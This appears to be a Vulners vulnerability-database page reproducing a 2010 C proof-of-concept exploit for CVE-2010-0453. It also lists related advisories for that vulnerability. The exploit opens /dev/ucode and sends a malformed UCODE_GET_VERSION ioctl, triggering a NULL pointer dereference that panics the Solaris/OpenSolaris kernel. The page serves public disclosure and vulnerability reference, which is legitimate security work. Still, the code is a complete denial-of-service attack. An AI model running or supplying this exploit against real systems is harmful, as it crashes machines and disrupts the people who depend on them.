Lucene search
K

Solaris/Open Solaris UCODE_GET_VERSION IOCTL - Denial of Service

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 38 Views

Solaris UCODE_GET_VERSION Denial of Service exploi

Related
Code
ReporterTitlePublishedViews
Family
0day.today
Solaris/Open Solaris UCODE_GET_VERSION IOCTL Denial of Service
7 Feb 201000:00
zdt
CVE
CVE-2010-0453
3 Feb 201018:00
cve
Cvelist
CVE-2010-0453
3 Feb 201018:00
cvelist
Exploit DB
Solaris/Open Solaris UCODE_GET_VERSION IOCTL - Denial of Service
7 Feb 201000:00
exploitdb
EUVD
EUVD-2010-0484
7 Oct 202500:30
euvd
exploitpack
SolarisOpen Solaris UCODE_GET_VERSION IOCTL - Denial of Service
7 Feb 201000:00
exploitpack
NVD
CVE-2010-0453
3 Feb 201018:30
nvd
Oracle
Oracle Critical Patch Update Advisory - April 2010
13 Apr 201000:00
oracle
Oracle
Security | Oracle Critical Patch Update - April 2010
13 Apr 201000:00
oracle
Prion
Null pointer dereference
3 Feb 201018:30
prion
Rows per page

                                                /*
 * cve-2010-0453.c -- Patroklos Argyroudis, argp at domain census-labs.com
 *
 * Denial of service (kernel panic) PoC exploit for the UCODE_GET_VERSION
 * ioctl NULL pointer dereference vulnerability on Solaris/OpenSolaris:
 *
 * http://www.trapkit.de/advisories/TKADV2010-001.txt
 * http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2010-0453
 *
 * Greets to Tobias Klein for discovering the vulnerability and for his
 * detailed (as always) advisory.
 *
 * $Id: cve-2010-0453.c,v 35da14215c84 2010/02/07 19:15:13 argp $
 */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <stropts.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>

#define BUF_SIZE            64
#define UCODE_DEV           "/dev/ucode"

#define UCODE_IOC           (('u' << 24) | ('c' << 16) | ('o' << 8))
#define UCODE_GET_VERSION   (UCODE_IOC | 0)

typedef enum ucode_errno
{
    EM_OK,
    EM_FILESIZE,
    EM_OPENFILE,
    EM_FILEFORMAT,
    EM_HEADER,
    EM_CHECKSUM,
    EM_INVALIDARG,
    EM_NOMATCH,
    EM_HIGHERREV,
    EM_NOTSUP,
    EM_UPDATE,
    EM_SYS,
    EM_NOVENDOR,
    EM_NOMEM
} ucode_errno_t;

struct ucode_get_rev_struct
{
    uint32_t *ugv_rev;
    int ugv_size;
    ucode_errno_t ugv_errno;
};

int
main()
{
    int fd, ret;
    uint32_t buf[BUF_SIZE];
    struct ucode_get_rev_struct in_h;

    memset(buf, 0x41, BUF_SIZE);

    in_h.ugv_rev = buf;
    in_h.ugv_size = 0;

    fd = open(UCODE_DEV, O_RDONLY);
    ret = ioctl(fd, UCODE_GET_VERSION, &in_h);

    printf("[+] ret = %d\n", ret);
    printf("[+] ugv_errno = %d\n", in_h.ugv_errno);

    close(fd);
    return ret;
}

/* EOF */

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

01 Jul 2014 00:00Current
6.4Medium risk
Vulners AI Score6.4
EPSS0.00356
38